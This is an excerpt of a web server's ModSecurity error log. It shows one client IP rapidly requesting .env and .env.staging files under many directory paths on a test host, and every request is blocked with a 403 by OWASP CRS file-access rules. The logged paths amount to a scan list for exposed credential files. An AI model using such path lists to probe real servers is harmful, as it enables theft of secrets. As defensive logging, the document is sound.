[Thu Feb 26 01:03:23.881629 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVIQAAAAc&quot;]
[Thu Feb 26 01:03:23.881780 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVIQAAAAc&quot;]
[Thu Feb 26 01:03:23.912619 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVIgAAAAc&quot;]
[Thu Feb 26 01:03:23.912928 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVIgAAAAc&quot;]
[Thu Feb 26 01:03:23.913104 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVIgAAAAc&quot;]
[Thu Feb 26 01:03:23.918276 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BwAAAAY&quot;]
[Thu Feb 26 01:03:23.918561 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BwAAAAY&quot;]
[Thu Feb 26 01:03:23.918732 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5BwAAAAY&quot;]
[Thu Feb 26 01:03:23.952742 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upload/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5CAAAAAY&quot;]
[Thu Feb 26 01:03:23.952996 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5CAAAAAY&quot;]
[Thu Feb 26 01:03:23.953157 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5CAAAAAY&quot;]
[Thu Feb 26 01:03:23.979238 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5CQAAAAY&quot;]
[Thu Feb 26 01:03:23.979481 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5CQAAAAY&quot;]
[Thu Feb 26 01:03:23.979633 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g5CQAAAAY&quot;]
[Thu Feb 26 01:03:24.007057 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /urlmem-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5CgAAAAY&quot;]
[Thu Feb 26 01:03:24.007272 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5CgAAAAY&quot;]
[Thu Feb 26 01:03:24.007429 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5CgAAAAY&quot;]
[Thu Feb 26 01:03:24.047079 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVJgAAAAc&quot;]
[Thu Feb 26 01:03:24.047321 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVJgAAAAc&quot;]
[Thu Feb 26 01:03:24.047483 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVJgAAAAc&quot;]
[Thu Feb 26 01:03:24.051348 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5CwAAAAY&quot;]
[Thu Feb 26 01:03:24.051564 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5CwAAAAY&quot;]
[Thu Feb 26 01:03:24.051719 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5CwAAAAY&quot;]
[Thu Feb 26 01:03:24.075580 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /var/backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVJwAAAAc&quot;]
[Thu Feb 26 01:03:24.075798 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVJwAAAAc&quot;]
[Thu Feb 26 01:03:24.075941 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/backup/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVJwAAAAc&quot;]
[Thu Feb 26 01:03:24.096603 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user_info/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5DQAAAAY&quot;]
[Thu Feb 26 01:03:24.096850 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5DQAAAAY&quot;]
[Thu Feb 26 01:03:24.097031 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5DQAAAAY&quot;]
[Thu Feb 26 01:03:24.115515 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKAAAAAc&quot;]
[Thu Feb 26 01:03:24.115793 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKAAAAAc&quot;]
[Thu Feb 26 01:03:24.115958 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aZ-NzM9iaYbHzIBMVEXVKAAAAAc&quot;]
[Thu Feb 26 01:03:24.128937 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aZ-NzJqP6Uim1aZiP_g5DgAAAAY&quot;]
